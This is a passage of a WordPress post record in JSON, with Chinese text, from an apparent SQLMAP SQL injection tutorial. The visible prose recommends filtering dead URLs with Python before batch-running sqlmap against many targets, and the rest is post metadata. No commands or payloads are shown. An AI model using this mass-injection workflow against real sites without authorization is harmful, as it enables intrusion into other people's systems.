data-original=\"https:\/\/oscimg.oschina.net\/oscnet\/7849451e73d2ef656cea858cf1a5b41fa79.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe12\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe12\" \/>\u00a0\u6b64\u5916\uff0c\u5728\u5b9e\u9645\u4e2d\u6211\u4eec\u53d1\u73b0\uff0c\u5982\u679c\u4e00\u6b21\u6027\u8dd1\u7684URL\u6587\u6863\u91cc\u5305\u542b\u5f88\u591a\u94fe\u63a5\u7684\u8bdd\uff0c\u53ef\u80fd\u8fd9\u6837\u5f97\u5230\u7684\u5730\u5740\u6709\u5f88\u591a\u662f\u6ca1\u6709\u54cd\u5e94\u7684\uff0c\u5982\u679c\u5b58\u5728\u5f88\u591a\u65e0\u54cd\u5e94\u7684URL\u65f6\uff0c\u6328\u4e2a\u9009\u62e9next target\u4f1a\u975e\u5e38\u8d39\u65f6\u8d39\u529b\uff0c\u6211\u4eec\u8981\u8fdb\u884c\u4e8c\u6b21\u8fc7\u6ee4\uff0c\u4f7f\u7528Python\u6279\u91cf\u5bf9\u5730\u5740\u8fdb\u884c\u8bf7\u6c42\uff0c \u8fc7\u6ee4\u6389\u4e0d\u54cd\u5e94\u6216\u54cd\u5e94\u8fc7\u6162\u7684\u7f51\u9875\u3002Python\u68c0\u6d4bURL\u5b58\u6d3b\u6027\u811a\u672c\u7f51\u4e0a\u4e5f\u6709\u5f88\u591a\uff0c\u5728\u8fd9\u91cc\u5c31\u4e0d\u518d\u53d9\u8ff0\u4e86\uff0c\u6709\u5174\u8da3\u7684\u53ef\u4ee5\u53bb\u627e\u8d44\u6599\u5b66\u4e60\u4e00\u4e0b\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>sqlmap\u4e5f\u662f\u6e17\u900f\u4e2d\u5e38\u7528\u7684\u4e00\u4e2a\u6ce8\u5165\u5de5\u5177\uff0c\u5176\u5b9e\u5728\u6ce8\u5165\u5de5\u5177\u65b9\u9762\uff0c\u4e00\u4e2asqlmap\u5c31\u8db3\u591f\u7528\u4e86\uff0c\u53ea\u8981\u4f60\u7528\u7684\u719f\uff0c\u79d2\u6740\u5404 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-523","post","type-post","status-publish","format-standard","hentry","category-net-security"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/523","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=523"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/523\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=523"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=523"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=523"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}